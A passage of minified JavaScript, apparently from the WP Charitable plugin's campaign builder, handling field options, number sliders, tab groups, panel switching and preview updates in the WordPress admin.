defined")}if(previewAdvancedOptions){app.addAdvancedOptions(previewAdvancedOptions)}else{wpchar.debug("previewAdvancedOptions is false or not defined")}if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.ready==="function"){Charitable.Admin.Builder.DragFields.ready()}app.updateFormHiddenFields();app.updateFormHiddenFieldID();$(".campaign-builder-htmleditor").each(function(){app.initHTMLEditorFields($(this))});$(".campaign-builder-htmleditor-min").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true;elements.$preview.find(".charitable-field-section").each(function(){app.checkFieldTargetState($(this))});app.checkAllRecommendedFields();app.updateGoalRelatedItems();app.updateEndDateRelatedItems();if(panel){app.panelSwitch("design")}$(".charitable-campaign-suggested-donations-mini").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))});app.checkFieldAllow();app.checkFieldMax();if(typeof response.data.settings.general.description!=="undefined"&&response.data.settings.general.description!=""){s.campaignDescription=response.data.settings.general.description;elements.$settingsPanel.find('input[name="settings[general][description]"').val(s.campaignDescription)}app.setCampaignNotSaved();$builder.trigger("charitableEditorScreenStart")}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},checkNoFieldsPreview(forceModeOff=false){if(forceModeOff===false&&elements.$preview.find('.charitable-field-section[data-section-type="fields"] .charitable-field').length===0&&typeof charitable_builder.no_field_preview!=="undefined"){$("#charitable-design-wrap").addClass("no-fields-mode");if($builder.find(".charitable-no-fields-area").hasClass("charitable-hidden")){$builder.find(".charitable-no-fields-area").removeClass("charitable-hidden")}}else if(forceModeOff!==false){if(!$builder.find(".charitable-no-fields-area").hasClass("charitable-hidden")){$builder.find(".charitable-no-fields-area").addClass("charitable-hidden")}$("#charitable-design-wrap").removeClass("no-fields-mode")}else{if(!$builder.find(".charitable-no-fields-area").hasClass("charitable-hidden")){$builder.find(".charitable-no-fields-area").addClass("charitable-hidden")}$("#charitable-design-wrap").removeClass("no-fields-mode")}},checkFieldTargetState($section=false){if(false===$section){return}if($section.data("section-type")!=="fields"&&$section.data("section-type")!=="tabs"){return}if($section.data("section-type")==="fields"){if($section.find(".charitable-field").length===0){$section.removeClass("charitable-field-target-inactive").addClass("charitable-field-target")}else{$section.removeClass("charitable-field-target").addClass("charitable-field-target-inactive")}}else if($section.data("section-type")==="tabs"){if($section.find(".tab_content_item.active .charitable-field").length===0){$section.find(".tab_content_item.active").removeClass("empty-tab").addClass("empty-tab")}else{$section.find(".tab_content_item.active").removeClass("empty-tab")}}},addAdvancedOptions(previewAdvancedOptions){var advancedFieldsInTab=$(".charitable-layout-options-tab-advanced").find("input, select");advancedFieldsInTab.each(function(){var $thisInput=$(this),advancedFieldId=$thisInput.data("advanced-field-id");if(typeof previewAdvancedOptions[advancedFieldId]!=="undefined"&&advancedFieldId!=""){if($thisInput.is("select")){$thisInput.val(previewAdvancedOptions[advancedFieldId]).change()}else{$thisInput.val(previewAdvancedOptions[advancedFieldId])}}})},addFieldOptions(previewFieldOptions){elements.$fieldOptions.find(".charitable-layout-options-group-inner .charitable-select-field-notice").after(previewFieldOptions)},addTabOptions(previewTabOptions){elements.$fieldOptions.find(".charitable-layout-options-tab.charitable-layout-options-tab-tabs .charitable-layout-options-group-inner").html(previewTabOptions)},addLayoutToPreview(previewLayout){elements.$preview.find(".charitable-design-wrap").replaceWith(previewLayout)},alignFieldEvents:function($builder){$builder.on("click",".charitable-panel-field-align a",function(e){e.preventDefault();var clickedLink=$(this),panelField=clickedLink.closest(".charitable-panel-field"),alignValue=""!==clickedLink.data("align-value")?clickedLink.data("align-value"):"center";panelField.find("span").removeClass("active");panelField.find('input[type="hidden"').val(alignValue);clickedLink.parent().addClass("active");app.setCampaignNotSaved()})},numberSliderEvents:function($builder){elements.$fieldOptions.on("input change",'input[type="range"]',function(e){var minimum_value=$(this).attr("min-actual")?parseInt($(this).attr("min-actual")):0,scrolled_value=$(this).val();if(minimum_value>0){if(scrolled_value<=minimum_value){$(this).val(minimum_value);$(this).next().addClass("min-reach")}else{$(this).next().removeClass("min-reach")}}app.setCampaignNotSaved()});$builder.on("change input",".charitable-panel-field-number-slider input[type=range]",function(event){var hintEl=$(event.target).siblings(".charitable-number-slider-hint");hintEl.attr("data-hint",event.target.value);hintEl.html(event.target.value+hintEl.data("symbol")+"<small>minimum</small>")});$builder.on("input",".charitable-field-option-row-min_max .charitable-input-row .charitable-number-slider-min",app.fieldNumberSliderUpdateMin);$builder.on("input",".charitable-field-option-row-min_max .charitable-input-row .charitable-number-slider-max",app.fieldNumberSliderUpdateMax);$builder.on("input",".charitable-number-slider-default-value",_.debounce(app.changeNumberSliderDefaultValue,500));$builder.on("input",".charitable-number-slider-step",_.debounce(app.changeNumberSliderStep,500));$builder.on("focusout",".charitable-number-slider-step",app.checkNumberSliderStep);$builder.on("input",".charitable-number-slider-value-display",_.debounce(app.changeNumberSliderValueDisplay,500));$builder.on("input",".charitable-number-slider-min",_.debounce(app.changeNumberSliderMin,500));$builder.on("input",".charitable-number-slider-max",_.debounce(app.changeNumberSliderMax,500))},changeNumberSliderMin:function(event){var fieldID=$(event.target).parents(".charitable-field-option-row").data("fieldId");var value=parseFloat(event.target.value);if(isNaN(value)){return}app.updateNumberSliderDefaultValueAttr(fieldID,event.target.value,"min")},changeNumberSliderMax:function(event){var fieldID=$(event.target).parents(".charitable-field-option-row").data("fieldId");var value=parseFloat(event.target.value);if(isNaN(value)){return}app.updateNumberSliderDefaultValueAttr(fieldID,event.target.value,"max").updateNumberSliderStepValueMaxAttr(fieldID,event.target.value)},changeNumberSliderValueDisplay:function(event){var str=event.target.value;var fieldID=$(event.target).parents(".charitable-field-option-row").data("fieldId");var defaultValue=document.getElementById("charitable-field-option-"+fieldID+"-default_value");if(defaultValue){app.updateNumberSliderHintStr(fieldID,str).updateNumberSliderHint(fieldID,defaultValue.value)}},changeNumberSliderStep:function(event){var value=parseFloat(event.target.value);if(isNaN(value)){return}var max=parseFloat(event.target.max),min=parseFloat(event.target.min),fieldID=$(event.target).parents(".charitable-field-option-row").data("fieldId");if(value<=0){return}if(value>max){event.target.value=max;return}if(value<min){event.target.value=min;return}app.updateNumberSliderAttr(fieldID,value,"step").updateNumberSliderDefaultValueAttr(fieldID,value,"step")},checkNumberSliderStep:function(event){var value=parseFloat(event.target.value),$input=$(this);if(!isNaN(value)&&value>0){return}$.confirm({title:charitable_builder.heads_up,content:charitable_builder.error_number_slider_increment,icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){$input.val("").trigger("focus")}}}})},changeNumberSliderDefaultValue:function(event){var value=parseFloat(event.target.value);if(!isNaN(value)){var max=parseFloat(event.target.max),min=parseFloat(event.target.min),fieldID=$(event.target).parents(".charitable-field-option-row-default_value").data("fieldId");if(value>max){event.target.value=max;return}if(value<min){event.target.value=min;return}app.updateNumberSlider(fieldID,value).updateNumberSliderHint(fieldID,value)}},updateNumberSliderDefaultValueAttr:function(fieldID,newValue,attr){var input=document.getElementById("charitable-field-option-"+fieldID+"-default_value");if(input){var value=parseFloat(input.value);input.setAttribute(attr,newValue);newValue=parseFloat(newValue);if("max"===attr&&value>newValue){input.value=newValue;$(input).trigger("input")}if("min"===attr&&value<newValue){input.value=newValue;$(input).trigger("input")}}return this},updateNumberSlider:function(fieldID,value){var numberSlider=document.getElementById("charitable-number-slider-"+fieldID);if(numberSlider){numberSlider.value=value}return this},updateNumberSliderAttr:function(fieldID,value,attr){var numberSlider=document.getElementById("charitable-number-slider-"+fieldID);if(numberSlider){numberSlider.setAttribute(attr,value)}return this},updateNumberSliderHintStr:function(fieldID,str){var hint=document.getElementById("charitable-number-slider-hint-"+fieldID);if(hint){hint.dataset.hint=str}return this},updateNumberSliderHint:function(fieldID,value){var hint=document.getElementById("charitable-number-slider-hint-"+fieldID);if(hint){hint.innerHTML=wpchar.sanitizeHTML(hint.dataset.hint).replace("{value}","<b>"+value+"</b>")}return this},fieldNumberSliderUpdateMin:function(event){var $options=$(event.target).parents(".charitable-field-option-row-min_max"),max=parseFloat($options.find(".charitable-number-slider-max").val()),current=parseFloat(event.target.value);if(isNaN(current)){return}if(max<=current){event.preventDefault();this.value=max;return}var fieldId=$options.data("field-id"),numberSlider=$builder.find("#charitable-field-"+fieldId+' input[type="range"]');numberSlider.attr("min",current)},fieldNumberSliderUpdateMax:function(event){var $options=$(event.target).parents(".charitable-field-option-row-min_max"),min=parseFloat($options.find(".charitable-number-slider-min").val()),current=parseFloat(event.target.value);if(isNaN(current)){return}if(min>=current){event.preventDefault();this.value=min;return}var fieldId=$options.data("field-id");var numberSlider=$builder.find("#charitable-field-"+fieldId+' input[type="range"]');numberSlider.attr("max",current)},updateNumberSliderStepValueMaxAttr:function(fieldID,newValue){var input=document.getElementById("charitable-field-option-"+fieldID+"-step");if(input){var value=parseFloat(input.value);input.setAttribute("max",newValue);newValue=parseFloat(newValue);if(value>newValue){input.value=newValue;$(input).trigger("input")}}return this},isVisitedViaBackButton:function(){if(!performance){return false}var isVisitedViaBackButton=false;performance.getEntriesByType("navigation").forEach(function(nav){if(nav.type==="back_forward"){isVisitedViaBackButton=true}});return isVisitedViaBackButton},hideLoadingOverlay:function(){var $overlay=$("#charitable-builder-overlay");$overlay.addClass("fade-out");setTimeout(function(){$overlay.hide()},200)},initCodeEditor:function(){if($(".campaign-builder-codeeditor").length>0){var field_id="";$(".campaign-builder-codeeditor").each(function(){if($(this).attr("id").indexOf("charitable-panel-field-settings-field_html_html_")!==-1){field_id=$(this).attr("id").replace("charitable-panel-field-settings-field_html_html_","");wpchar.debug("field_id: "+field_id);$builder.trigger("charitableFieldAddHTML",[field_id,"html"])}})}},showLoadingOverlay:function(){var $overlay=$("#charitable-builder-overlay");$overlay.removeClass("fade-out");$overlay.show()},updateFormUI:function(element=false,value=false){var title=false;if(element==="title"){title=value}else{title=$("input.charitable-form-name").val()}title=title.replace(/[^\w\s\u00C0-\u024F\u1E00-\u1EFF\u2C60-\u2C7F\uA720-\uA7FF _.,!"()'\/$[\]:@#%-]/gi,"");elements.$campaignNameTopBanner=$("input.charitable-form-name");elements.$campaignNamePreview=$(".charitable-preview .charitable-form-name");elements.$campaignNameFieldTitleSettings=$("input.charitable-campaign-builder-title");elements.$campaignNameTopBanner.val(title);elements.$campaignNamePreview.html(title);elements.$campaignNameFieldTitleSettings.val(title);elements.$preview.find(".charitable-field-campaign-title .charitable-campaign-builder-placeholder-preview-text").html('<h1 class="charitable-campaign-title">'+title+"</h1>");if(element==="title"){s.campaignTitle=title;app.resizeTopCampaignTitleInputBox()}},bindUIActions:function(){app.bindAutoResizeCampaignTitle();app.bindUIEditCampaignTitle();app.bindCampaignTitleBlockTextField();app.bindUIActionsPanels();app.bindUIActionsFields();app.bindUIActionsPreview();app.bindUIActionsSaveExit();app.bindUIActionsGeneral();app.bindUITabs();$builder.on("change","input, textarea, select, checkbox, radio",function(e){app.setCampaignNotSaved()});app.bindUILayoutOptionsAdvanced();app.bindUISettingsRevealGroups();app.bindUIMoneyTextFields();app.checkFieldConditionals();$builder.on("change","select#charitable-panel-field-settings-campaign_campaign_creator_id",function(e){app.updateCampaignCreatorInfo()});$builder.on("click","div#charitable-marketing-form a.button-link, div#charitable-payment-form a.button-link, div#charitable-feedback-form a.button-link",function(e){e.preventDefault();app.initFeedbackForms($(this))});$builder.on("click","a.send-feedback",function(e){e.preventDefault();$(".charitable-panel-content-wrap").animate({scrollTop:0},500);$(".charitable-template-list-container").addClass("disabled");$(".charitable-feedback-form-container").after('<div id="charitable-builder-underlay" class="charitable-builder-underlay"></div>');$(".charitable-feedback-form-container").css("opacity","100").css("visibility","visible");$(".charitable-feedback-form-container").find(".charitable-feedback-form-interior").removeClass("charitable-hidden");$(".charitable-feedback-form-container").find("textarea").val("");$(".charitable-feedback-form-interior-confirmation").addClass("charitable-hidden")});$builder.on("keyup","table.charitable-campaign-suggested-donations-mini input",function(e){var field_id=parseInt($(this).closest(".charitable-panel-field").data("field-id"));if(field_id>0){var theIndex=$(this).index('.charitable-panel-field[data-field-id="'+field_id+'"] table.charitable-campaign-suggested-donations-mini input[type="text"].campaign_suggested_donations');app.updateSuggestDonationsSettings($(this),theIndex)}});$builder.on("change keyup blur input",'table.charitable-campaign-suggested-donations input[type="text"].campaign_suggested_donations',function(e){var theIndex=$(this).index('.charitable-campaign-suggested-donations input[type="text"].campaign_suggested_donations'),field_name=$(this).attr("name");if(field_name.indexOf("recurring")<1){app.updateSuggestDonationsSettings($(this),theIndex)}});$builder.on("change",'.charitable-campaign-builder-allow-custom-donations input[type="checkbox"]',function(e){$('.charitable-campaign-builder-allow-custom-donations input[type="checkbox"]').prop("checked",$(this).is(":checked"));app.updateAllowCustomDonationSettings($(this).is(":checked"))});$builder.on("change",'input[type="radio"].campaign_suggested_donations',function(e){var field_id=parseInt($(this).closest(".charitable-panel-field").data("field-id")),field_name=$(this).attr("name");if(field_name.indexOf("recurring")<1){app.updateSuggestedDonationAmountDefault($(this).val())}});app.bindUIInputRange();$builder.on("click",".education-buttons button.update-to-pro-link",function(e){if($(this).prev("a").length>0){window.open($(this).prev("a").attr("href"),"_blank")}else{window.open("https://wpcharitable.com/lite-vs-pro/","_blank")}})},bindUILayoutOptionsAdvanced:function(){$builder.on("change","select#charitable-design-layout-options-advanced-tab-style",function(e){e.preventDefault();var $this=$(this),$preview_nav=$("nav.charitable-campaign-preview-nav");$($this).find("option").each(function(){$preview_nav.removeClass("tab-style-"+this.value)});$preview_nav.addClass("tab-style-"+$this.find(":selected").val())});$builder.on("change","select#charitable-design-layout-options-advanced-tab-size",function(e){e.preventDefault();var $this=$(this),$preview_nav=$("nav.charitable-campaign-preview-nav");$($this).find("option").each(function(){$preview_nav.removeClass("tab-size-"+this.value)});$preview_nav.addClass("tab-size-"+$this.find(":selected").val())})},tabGroupsAdd:function(el,e){e.preventDefault();var count=elements.$sortableTabContent.find(".tab_content_item").length;if(count>=s.maxNumberOfTabs){app.formGenericNotice("You cannot have more than "+s.maxNumberOfTabs+" tabs in your campaign template.");return}var $this=$(el),$groupLast=$this.parent().find(".charitable-group.charitable-layout-options-tab-group.hidden").last(),$newGroup=$groupLast.clone(),tab_content=elements.$preview.find(".tab-content"),default_tab_content_type="html";var dataList=$(".charitable-group.charitable-layout-options-tab-group").map(function(){return parseInt($(this).attr("data-group_id"))}).get();var groupID=Math.max.apply(null,dataList)+1;if(typeof groupID==="undefined"){app.formGenericError("Error ecountered attempting to add another tab.");return}$newGroup.attr("data-group_id",groupID);$newGroup.attr("data-tab-id",groupID);$newGroup.find(".charitable-group-row").attr("data-tab-id",groupID);$newGroup.find("input, select, textarea, label").each(function(index){var $this=$(this),forAttr=$this.attr("for"),nameAttr=$this.attr("name"),idAttr=$this.attr("id");if(typeof idAttr!=="undefined"&&idAttr!==false){$this.attr("id",$this.attr("id").replace("_xxx_","_"+groupID+"_"))}if(typeof nameAttr!=="undefined"&&nameAttr!==false){$this.attr("name",$this.attr("name").replace("_xxx_","_"+groupID+"_"))}if(typeof forAttr!=="undefined"&&forAttr!==false){$this.attr("for",$this.attr("for").replace("_xxx_","_"+groupID+"_"))}});$newGroup.find('input[name="tabs__'+groupID+'__title"]').val("New Tab");$newGroup.find('textarea[name="tabs__'+groupID+'__desc"]').html("Content");$(".charitable-layout-options-tab-group").removeClass("active");$newGroup.addClass("active");$newGroup.removeClass("charitable-closed").addClass("charitable-open").removeClass("hidden").find(".charitable-angle-right").removeClass("charitable-angle-right").addClass("charitable-angle-down");$this.before($newGroup);app.bindUIActionPanelsTabs();app.checkHideTabNavigation();$("nav.charitable-campaign-preview-nav ul li").removeClass("active");tab_content.find("ul li").removeClass("active");$("nav.charitable-campaign-preview-nav ul").append('<li data-tab-type="html" data-tab-id="'+groupID+'" class="tab_title active" id="tab_'+groupID+'_title"><a href="#">'+charitable_builder.new_tab+"</a></li>");tab_content.find("ul").append('<li id="tab_'+groupID+'_content" class="tab_content_item empty-tab active tab_type_'+default_tab_content_type+'" data-tab-type="'+default_tab_content_type+'" data-tab-id="'+groupID+'"><div class="charitable-tab-wrap ui-sortable"><p class="empty-tab-notice">'+charitable_builder.empty_tab+"</p></div></li>");tab_content.removeClass("empty-tabs");tab_content.find(".no-tab-notice").remove();$builder.trigger("charitableAddNewTab",groupID)},bindUITabs:function(){$builder.on("click","button.charitable-tab-groups-add",function(e){app.tabGroupsAdd(this,e)});$builder.find(".charitable-layout-options-tab-tabs .charitable-layout-options-group-inner").sortable({handle:".charitable-draggable",update:function(event,ui){var dataList=$(".charitable-group.charitable-layout-options-tab-group").map(function(){if(!$(this).hasClass("hidden")){return parseInt($(this).attr("data-group_id"))}}).get();var activeList=$(".charitable-group.charitable-layout-options-tab-group").map(function(){if($(this).hasClass("active")){return parseInt($(this).attr("data-group_id"))}}).get();$("nav.charitable-campaign-preview-nav ul").empty();dataList.forEach(function(groupID){var $tab=$("#charitable-field-options").find('[data-group_id="'+groupID+'"]'),textFieldnName=groupID,isActive=activeList.indexOf(groupID)>=0?"active":"",tabType=groupID!==0&&""!==$tab.find('input[name="tabs__'+textFieldnName+'__type"').val()?$tab.find('input[name="tabs__'+textFieldnName+'__type"').val():"html",tabTitle=$tab.find('input[name="tabs__'+textFieldnName+'__title"').val();$("nav.charitable-campaign-preview-nav ul").append('<li data-tab-type="'+tabType+'" data-tab-id="'+groupID+'" class="tab_title '+isActive+'" id="tab_'+groupID+'_title"><a href="#">'+tabTitle+"</a></li>")})}});$builder.on("click","input, select, textarea, .ql-editor",".charitable-layout-options-tab-tabs .charitable-layout-options-group-inner .charitable-layout-options-tab-group",function(e){if(!$(this).closest(".charitable-layout-options-tab-group").hasClass("active")){var group_id=$(this).closest(".charitable-layout-options-tab-group").data("group_id");$('.charitable-preview nav.charitable-campaign-preview-nav li[data-tab-id="'+group_id+'"] a').click()}});$builder.on("click","a.charitable-configure-tab-settings",function(e){app.fieldTabToggle("layout-options");$(".charitable-layout-options-tab").removeClass("active");$(".charitable-layout-options-tab.charitable-layout-options-tab-tabs").addClass("active")});$builder.on("click","nav li.tab_title a",function(e){e.preventDefault();var $preview=$(".charitable-campaign-preview"),tab_id=$(this).parent().data("tab-id"),tab_type=$preview.find("li#tab_"+tab_id+"_title").attr("data-tab-type");$(".tab-content ul li").removeClass("active");$("nav li.tab_title").removeClass("active");$(this).parent().addClass("active");$(".tab-content ul li#tab_"+tab_id+"_content").addClass("active");$(".charitable-layout-options-tab").removeClass("active");$(".charitable-layout-options-tab.charitable-layout-options-tab-tabs").addClass("active");$(".charitable-layout-options-tab").find(".charitable-layout-options-tab-group").each(function(){$(this).removeClass("charitable-open");var cookieValue=wpCookies.get("charitable_panel_layout_options_tabs_tab_open_"+$(this).data("group_id"));if(cookieValue==="true"){$(this).addClass("charitable-open");$(this).find(".charitable-general-layout-heading a.charitable-toggleable-group i").addClass("charitable-angle-down");$(this).find(".charitable-general-layout-heading a.charitable-toggleable-group i").removeClass("charitable-angle-right");$(this).removeClass("charitable-closed")}else{$(this).removeClass("charitable-open");$(this).find(".charitable-general-layout-heading a.charitable-toggleable-group i").removeClass("charitable-angle-down");$(this).find(".charitable-general-layout-heading a.charitable-toggleable-group i").addClass("charitable-angle-right");$(this).addClass("charitable-closed")}});$(".charitable-layout-options-tab .charitable-group").removeClass("active");$(".charitable-layout-options-tab").find("[data-group_id="+tab_id+"]").addClass("active").removeClass("charitable-closed");$(".charitable-layout-options-tab").find("[data-group_id="+tab_id+"]").find(".charitable-group-rows").show();$(".charitable-layout-options-tab").find("[data-group_id="+tab_id+"]").find(".charitable-toggleable-group i").removeClass(".charitable-angle-right").addClass("charitable-angle-down");$("#layout-options a").click();$("#charitable-preview-tab-container").addClass("active");wpCookies.set("charitable_panel_tab_section_tab_id",tab_id,2592e3);wpCookies.set("charitable_panel_layout_options_tabs_tab_open_"+tab_id,true,2592e3);wpCookies.set("charitable_panel_content_section","",2592e3);wpCookies.set("charitable_panel_active_field_id","",2592e3)});$builder.on("change",".charitable-group select.tab_type",function(e){e.preventDefault();var $this=$(this),group_id=$this.closest(".charitable-group").data("group_id"),$preview=$(".charitable-campaign-preview"),selected_value=$this.val();$preview.find("nav li.tab_title[data-tab-id="+group_id+"]").attr("data-tab-type",selected_value);$preview.find("div.tab-content ul li#tab_"+group_id+"_content").attr("data-tab-type",selected_value);$preview.find("div.tab-content ul li#tab_"+group_id+"_content").removeClass(function(index,className){return(className.match(/(^|\s)tab_type_\S+/g)||[]).join(" ")});$preview.find("div.tab-content ul li#tab_"+group_id+"_content").addClass("tab_type_"+selected_value);var data={action:"charitable_tab_content_preview",type:selected_value,group_id:group_id,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){$preview.find("div.tab-content ul li#tab_"+group_id+"_content").html(response.data.output)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})});$builder.on("input","input#charitable-panel-field-settings-charitable-campaign-enable-tabs",function(e){const isChecked=$(this).is(":checked");if(isChecked){$("#charitable-preview-tab-container").addClass("disabled");$("#charitable-design-layout-options-advanced-tab-style").prop("disabled",true).addClass("disabled");$("#charitable-design-layout-options-advanced-tab-size").prop("disabled",true).addClass("disabled")}else{$("#charitable-preview-tab-container").removeClass("disabled");$("#charitable-design-layout-options-advanced-tab-style").prop("disabled",false).removeClass("disabled");$("#charitable-design-layout-options-advanced-tab-size").prop("disabled",false).removeClass("disabled")}});$builder.on("input","input.charitable-settings-tab-visible-nav",function(e){const isChecked=$(this).is(":checked"),tabID=$(this).closest(".charitable-tab-title-row").data("tab-id");if(isChecked){elements.$preview.find("nav li#tab_"+tabID+"_title").addClass("charitable-tab-hide")}else{elements.$preview.find("nav li#tab_"+tabID+"_title").removeClass("charitable-tab-hide")}});$builder.on("keydown",'.charitable-tab-title-row input[type="text"]',function(e){var k=e.keyCode||e.which,ok=k>=65&&k<=90||k>=96&&k<=105||k>=35&&k<=40||k==32||e.ctrlKey&&k==65||e.ctrlKey&&k==67||e.ctrlKey&&k==88||e.ctrlKey&&k==86||e.metaKey&&k==65||e.metaKey&&k==67||e.metaKey&&k==88||e.metaKey&&k==86||k>=96&&k<=105||(k==110||k==190)||k>=37&&k<=40||k==46||k==173||k==8||k>=48&&k<=57;if(!ok||e.ctrlKey&&e.altKey){e.preventDefault()}});$builder.on("change",'.charitable-tab-title-row input[type="text"]',function(e){if($(this).val().trim()===""){$(this).val("New Tab")}})},bindUIInputRange:function(){$builder.on("mouseenter",'input[type="range"].charitable-indicator-on-hover, .charitable-panel-field-align a',function(e){var field_id=parseInt($(this).closest(".charitable-panel-field").data("field-id"));if(field_id>0){elements.$preview.find("#charitable-field-"+field_id+" .charitable-preview-field-indicator").removeClass("charitable-hidden")}});$builder.on("mouseleave",'input[type="range"].charitable-indicator-on-hover, .charitable-panel-field-align a',function(e){var field_id=parseInt($(this).closest(".charitable-panel-field").data("field-id"));if(field_id>0){elements.$preview.find("#charitable-field-"+field_id+" .charitable-preview-field-indicator").addClass("charitable-hidden")}})},bindAutoResizeCampaignTitle:function(){$builder.on("input","input#charitable_settings_title",function(e){var $this=$(this),the_text=$this.val(),the_text_characters=the_text.length,the_padding=10,the_input_box_width=the_text_characters*12.8+the_padding;wpchar.debug(the_text);wpchar.debug(the_text_characters);wpchar.debug($("#charitable_settings_title").val());app.setCampaignNotSaved();app.updateFormUI("title",the_text);app.resizeTopCampaignTitleInputBox()});$builder.on("focusout","input#charitable_settings_title",function(e){})},resizeTopCampaignTitleInputBox:function(){},bindCampaignTitleBlockTextField:function(){$builder.on("keyup","input.charitable-campaign-builder-title",function(e){app.updateFormUI("title",$(this).val())})},bindUIEditCampaignTitle:function(){},allowTitleUpdate:function($container){if($container.hasClass("edit")){$("#charitable_settings_title").attr("disabled",true);$container.removeClass("edit")}else{$("#charitable_settings_title").removeAttr("disabled");$container.addClass("edit");$("#charitable_settings_title").focus().select()}},bindUIActionsPanels:function(){$builder.on("click","#charitable-panels-toggle button:not(.charitable-panel-help-button), .charitable-panel-switch",function(e){e.preventDefault();if(!$(this).hasClass("disabled")){app.panelSwitch($(this).data("panel"))}});$builder.on("click",".charitable-panel-help-button, #charitable-panels-toggle a:has(.charitable-panel-help-button)",function(e){var $anchor=$(this).closest("a");if(!$anchor.length){$anchor=$(this).is("a")?$(this):$(this).closest("a")}if($anchor.length&&$anchor.attr("href")){e.stopPropagation();e.stopImmediatePropagation();var href=$anchor.attr("href");var target=$anchor.attr("target")||"_blank";if(target==="_blank"){window.open(href,target)}else{window.location.href=href}return false}});$builder.on("click",".charitable-panel .charitable-panel-sidebar-section:not(.charitable-need-upgrade):not(.charitable-not-available):not(.charitable-not-installed):not(.charitable-not-activated):not(.charitable-installed-refresh):not(.charitable-not-available):not(.charitable-addon-file-missing)",function(e){app.panelSectionSwitch(this,e)});$builder.on("click",".charitable-panels .charitable-panel-sidebar-content .charitable-panel-sidebar-toggle",function(){$(this).parent().toggleClass("charitable-panel-sidebar-closed")});$builder.on("focusout",'input[name="tabs__campaign__title"]',function(e){e.preventDefault();app.updateFormUI("tabs__campaign__title",$(this).val())});app.bindUIActionPanelsTabs()},bindUIActionPanelsTabs:function(){$builder.on("input",'.charitable-tab-title-row input[type="text"]',function(e){e.preventDefault();var $textBox=$(this),$the_element=$textBox.closest(".charitable-group"),theGroupID=$the_element.attr("data-group_id"),updatedText=0===$textBox.val().length?"New Tab":$textBox.val(),updatedTextClean=app.removeTags(updatedText);$the_element.find(".charitable-general-layout-heading").find("span").html(updatedTextClean);$("nav.charitable-campaign-preview-nav ul").find("#tab_"+theGroupID+"_title a").html(updatedTextClean)})},checkHideTabNavigation:function(){const tab_count=$("#charitable-field-options .charitable-layout-options-tab-group").length-1;if(tab_count>1){$("#charitable-field-options").find("input.charitable-settings-tab-visible-nav").each(function(){$(this).prop("checked",false).attr("disabled",true);$(this).parent().find("label").addClass("charitable-disabled");elements.$preview.find("nav.charitable-campaign-preview-nav li").removeClass("charitable-tab-hide")})}else{$("#charitable-field-options").find("input.charitable-settings-tab-visible-nav").each(function(){$(this).removeAttr("disabled");$(this).parent().find("label").removeClass("charitable-disabled")})}},removeTags:function(theString){return theString},panelSwitch:function(panel){var $panel=$("#charitable-panel-"+panel),$panelBtn=$(".charitable-panel-"+panel+"-button"),cookieName="charitable_panel";if(!app.hasTemplate()&&panel!=="template"){return}if(!$panel.hasClass("active")){const event=CharitableUtils.triggerEvent($builder,"charitablePanelSwitch",[panel]);if(event.isDefaultPrevented()||!charitable_panel_switch){return false}$("#charitable-panels-toggle").find("button").removeClass("active");$(".charitable-panel").removeClass("active");$panelBtn.addClass("active");$panel.addClass("active");history.replaceState({},null,wpchar.updateQueryString("view",panel));$builder.trigger("charitablePanelSwitched",[panel]);wpCookies.set(cookieName,panel,2592e3);wpCookies.set("charitable_panel_content_section","",2592e3);wpCookies.set("charitable_panel_active_field_id","",2592e3)}},panelSectionSwitch:function(el,e){if(e){e.preventDefault()}var $this=$(el),$panel=$this.parent().parent(),section=$this.data("section"),$sectionButtons=$panel.find(".charitable-panel-sidebar-section"),$sectionButton=$panel.find(".charitable-panel-sidebar-section-"+section);if($this.hasClass("upgrade-modal")||$this.hasClass("education-modal")){return}if(!$sectionButton.hasClass("active")){app.panelSectionSwitchTo(section,$panel,$sectionButtons,$sectionButton)}},panelSectionSwitchTo:function(section,$panel,$sectionButtons,$sectionButton){const event=CharitableUtils.triggerEvent($builder,"charitablePanelSectionSwitch",section);if(event.isDefaultPrevented()||!charitable_panel_switch){return false}$sectionButtons.removeClass("active");$sectionButton.addClass("active");$panel.find(".charitable-panel-content-section").hide();$panel.find(".charitable-panel-content-section-"+section).show();var cookieName="charitable_panel_content_section";wpCookies.set(cookieName,section,2592e3)},bindUIActionsFields:function(){$builder.on("click",".charitable-tab a",function(e){e.preventDefault();app.fieldTabToggle($(this).parent().attr("id"));if("add-layout"===$(this).parent().attr("id")){app.resetPreviewArea()}});$builder.on("click",".charitable-layout-options-tab-tabs .charitable-toggleable-group",function(e){e.preventDefault();app.fieldGroupTogglev2($(this),"click")});$builder.on("click",".charitable-add-fields .charitable-toggleable-group",function(e){e.preventDefault();app.fieldGroupTogglev3($(this),"click")});$builder.on("click",".charitable-tab-group-delete",function(e){e.preventDefault();e.stopPropagation();if(app.isFormPreviewActionsDisabled(this)){return}var $the_element=$(this).closest(".charitable-group"),theGroupID=$the_element.attr("data-group_id");app.tabDelete(theGroupID)});$builder.on("click",".charitable-field",function(e){if(e.target.classList.contains("charitable-dismiss-button")){return}e.stopPropagation();$(this).find(".charitable-field-edit").click()});$builder.on("click",".charitable-field-delete",function(e){e.preventDefault();e.stopPropagation();var confirmation=$(this).parent().hasClass("charitable-missing-addon-content")?false:true,field_id=parseInt($(this).closest(".charitable-field").data("field-id"));app.fieldDelete(field_id,confirmation)});$builder.on("click",".charitable-field-duplicate",function(e){e.preventDefault();e.stopPropagation();app.fieldDuplicate($(this).parent().data("field-id"))});$builder.on("click",".charitable-field-edit",function(e){e.preventDefault();e.stopPropagation();app.resetPreviewArea();$(this).parent().addClass("active");$("ul.charitable-tabs li#add-layout a").removeClass("active");$("ul.charitable-tabs li#layout-options a").addClass("active");var field_id=parseInt($(this).parent().data("field-id"));wpCookies.set("charitable_panel_active_field_id",field_id,2592e3);app.fieldEdit($(this).data("type"),$(this).data("section"),$(this).parent().data("field-id"),field_id,$(this).parent().data("field-type"))});$builder.on("click",".charitable-add-fields-button",function(e){e.preventDefault();const $field=$(this);if($field.hasClass("ui-draggable-disabled")){return}let 